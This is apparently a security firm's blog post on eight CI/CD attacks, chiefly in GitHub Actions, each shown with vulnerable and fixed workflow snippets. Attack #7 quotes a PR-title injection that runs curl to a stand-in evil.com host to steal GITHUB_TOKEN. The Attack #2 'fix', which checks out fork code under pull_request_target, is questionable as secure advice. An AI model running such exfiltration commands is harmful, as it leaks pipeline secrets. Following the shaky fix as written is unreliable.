DevSecOps
CI/CD
DevSecOps
Supply Chain Security
GitHub Actions

CI/CD Pipeline Security: 8 Attacks We See in Every Audit

SecureCodeReviews Team
January 22, 2025
15 min read
Share

Why CI/CD Pipelines Are High-Value Targets

Your CI/CD pipeline is arguably the most privileged system in your organization. It has:

  • ✅ Access to source code (all repositories)
  • ✅ Production deployment credentials
  • ✅ Cloud provider IAM roles
  • ✅ Database connection strings
  • ✅ API keys and secrets
  • ✅ Code signing certificates

A compromised pipeline means an attacker can inject code into every build, steal every secret, and deploy malicious code to production — automatically.

Real-world example: The SolarWinds SUNBURST attack compromised CI/CD to inject malicious code into software updates, affecting 18,000+ organizations including U.S. government agencies.


Attack #1: Secrets in Environment Variables (Plain Text)

❌ Vulnerable Pipeline

# .github/workflows/deploy.yml
name: Deploy
on: push
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE    # Hardcoded!
      AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI...     # In plain text!
      DATABASE_URL: postgresql://admin:password@prod-db:5432/app
    steps:
      - run: ./deploy.sh

Anyone with repo read access sees these credentials. Fork PRs can exfiltrate them.

✅ Fix: Use Secrets Manager

# .github/workflows/deploy.yml
name: Deploy
on:
  push:
    branches: [main]  # Only on main, not PRs
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Requires approval
    permissions:
      id-token: write        # OIDC, no static keys
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::role/deploy
          aws-region: us-east-1
      - run: ./deploy.sh

Attack #2: Poisoned Pull Request (PR)

An attacker forks your repo, modifies the CI config, and opens a PR that runs their code in your pipeline.

❌ Vulnerable Workflow

on:
  pull_request:     # Runs on ALL PR types
    types: [opened, synchronize]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # Attacker modifies package.json scripts

✅ Fix: Require Approval for External PRs

on:
  pull_request_target:   # Runs in context of base, not fork
    types: [opened, synchronize]
jobs:
  test:
    runs-on: ubuntu-latest
    # Only run if author is a collaborator
    if: github.event.pull_request.author_association == 'COLLABORATOR' ||
        github.event.pull_request.author_association == 'MEMBER'
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

Attack #3: Dependency Confusion / Typosquatting

# Attacker publishes a malicious package with your internal package name
npm publish @yourcompany/internal-utils  # Public npm
# Your CI pipeline installs from public npm instead of private registry

✅ Fix: Pin Registries + Lock Files

# .npmrc
@yourcompany:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:_authToken=${NPM_TOKEN}
# CI step: verify lock file integrity
- name: Verify dependencies
  run: |
    npm ci --ignore-scripts  # Install from lock file only
    npm audit --audit-level=high

Attack #4: Compromised GitHub Actions / Third-Party Steps

# ❌ Using mutable tag — author can push malicious update
- uses: some-user/cool-action@main

# ✅ Pin to specific commit SHA
- uses: some-user/cool-action@a1b2c3d4e5f6

Check Your Actions

# Find all unpinned actions in your workflows
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}" | grep -v "@v[0-9]"

Attack #5: Build Output Tampering

If build artifacts aren't signed or verified, an attacker with CI access can swap the artifact.

✅ Fix: Sign and Verify Artifacts

# Sign container images with cosign
- name: Sign image
  run: |
    cosign sign --key cosign.key \
      ${{ env.REGISTRY }}/${{ env.IMAGE }}@${{ steps.build.outputs.digest }}

# Verify in deployment
- name: Verify image
  run: |
    cosign verify --key cosign.pub \
      ${{ env.REGISTRY }}/${{ env.IMAGE }}@${{ env.DIGEST }}

Attack #6: Self-Hosted Runner Escape

Self-hosted runners share the host OS. One malicious job can access artifacts from other jobs.

✅ Fix: Ephemeral Runners

# Use ephemeral runners that are destroyed after each job
runs-on: [self-hosted, ephemeral]

# Or better: use GitHub-hosted runners for public repos
runs-on: ubuntu-latest

Attack #7: Workflow Injection via Untrusted Input

# ❌ PR title injected into shell command
- name: Check PR
  run: echo "PR title: ${{ github.event.pull_request.title }}"
# Attacker sets PR title to: "; curl http://evil.com/steal?token=$GITHUB_TOKEN"

# ✅ Fix: Use environment variable
- name: Check PR
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"

Attack #8: OIDC Token Scope Too Broad

# ❌ Any branch can assume production role
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::role/admin  # Too much access!

# ✅ Fix: Restrict role trust policy
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"
    }
  }
}

CI/CD Security Checklist

ControlPriorityTool
No hardcoded secretsCriticalGitLeaks, TruffleHog
Pin action versions to SHAHighRenovate, Dependabot
Restrict PR workflow triggersCriticalGitHub settings
Use OIDC instead of static keysHighAWS/GCP/Azure OIDC
Sign build artifactsHighCosign, Sigstore
Ephemeral/isolated runnersMediumGitHub-hosted, Firecracker
Dependency verificationHighnpm audit, pip-audit
Audit logging for pipelineMediumGitHub audit log API

Need a CI/CD Security Review?

We audit GitHub Actions, GitLab CI, Jenkins, and Azure DevOps pipelines. Request a free review →


Published by the SecureCodeReviews.com team — helping teams secure their software supply chains.

Advertisement